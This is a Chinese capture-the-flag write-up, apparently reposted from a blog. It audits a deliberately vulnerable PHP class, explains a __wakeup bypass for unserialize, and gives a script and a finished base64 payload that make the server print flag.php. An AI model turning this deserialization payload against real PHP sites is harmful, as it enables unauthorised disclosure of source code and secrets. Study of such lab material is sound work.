1.duwentao-[本地复现]
第一步:代码审计
<?php
#error_reporting(0); //注释掉了关闭错误报告
class SoFun //类:SoFun
{
protected $file = 'index.php'; //保护属性:$file='index.php'
public function __construct($file) //构造方法__construct(),在实例化当前类前,自动被调用,使用参数$file初始化
{
$this->file = $file; //给属性$file初始化
}
function __destruct() //析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
{
if(!empty($this->file)) //判断属性$file的值是否为空,若为空就执行以下的判断语句
{ //判断$file属性里面有没有路径符号,若没有就显示当前目录下的以$file属性为名的文件的源码,若有退出脚本
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
show_source(dirname(__FILE__).'/'.$this->file);
else
die('Wrong filename.');
}
}
function __wakeup() //魔术方法__wakeup(),在当前类的实例化对象反序列化时,自动被调用[可绕过]
{
$this->file = 'index.php'; //给属性$file值赋为index.php
}
public function __toString() //魔术方法:__toString(),在当前类的实例化对象被当作字符串操作时,自动被调用
{
return ''; //返回空
}
}
if(!isset($_GET['file'])){ //判断后台是否收到以GET形式提交的file参数的值且不为NULL
show_source('duwentao.php'); //若没收到,显示当前页面源码,注意此时的页面我改为了duwentao.php
}else{
$file = base64_decode($_GET['file']); //若收到,则base64解码参数值
echo unserialize($file); //反序列化参数值后,打印出来
}
?>
<!--key in flag.php--> //提示flag.php
第二步:思路
倒推法:
想要显示flag.php页面源码--》就要执行show_source(dirname(__FILE__).'/'.$this->file);--》就要给SoFun类的$file属性赋值为flag.php
因此:我们要传入一个SoFun类的实例化对象,且保护属性$file的值为flag.php,然后再序列化,base64编码,传入。
//但是,后台还有一个__wakeup()魔术方法,在反序列化的时候,$file属性的值又被覆盖成index.php,所以我们就要绕过它
绕过方法:把序列化字符串中的属性个数改为大于真实属性个数即可
第三步:编写代码,构造payload
<?php
error_reporting(0);
class SoFun
{
protected $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
if(!empty($this->file))
{
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
show_source(dirname(__FILE__).'/'.$this->file);
else
die('Wrong filename.');
}
}
function __wakeup()
{
$this->file = 'index.php';
}
public function __toString()
{
return '';
}
}
$chen = new SoFun('flag.php');
$chen = serialize($chen);
echo $chen."<br />";
//O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
$chen = str_replace(chr(0),'\00',$chen);
$chen = str_replace('s:7','S:7',$chen);
echo $chen."<br />";
//O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
$chen = str_replace(':1:',':2:',$chen);
echo $chen."<br />";
//O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
$chen = base64_encode($chen);
echo $chen."<br />";
//Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
?>
<!--key in flag.php-->
因此payload:
?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
第四步:提交payload,获取flag【由于是本地环境,注意php的版本问题】
提交payload
图略
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109959306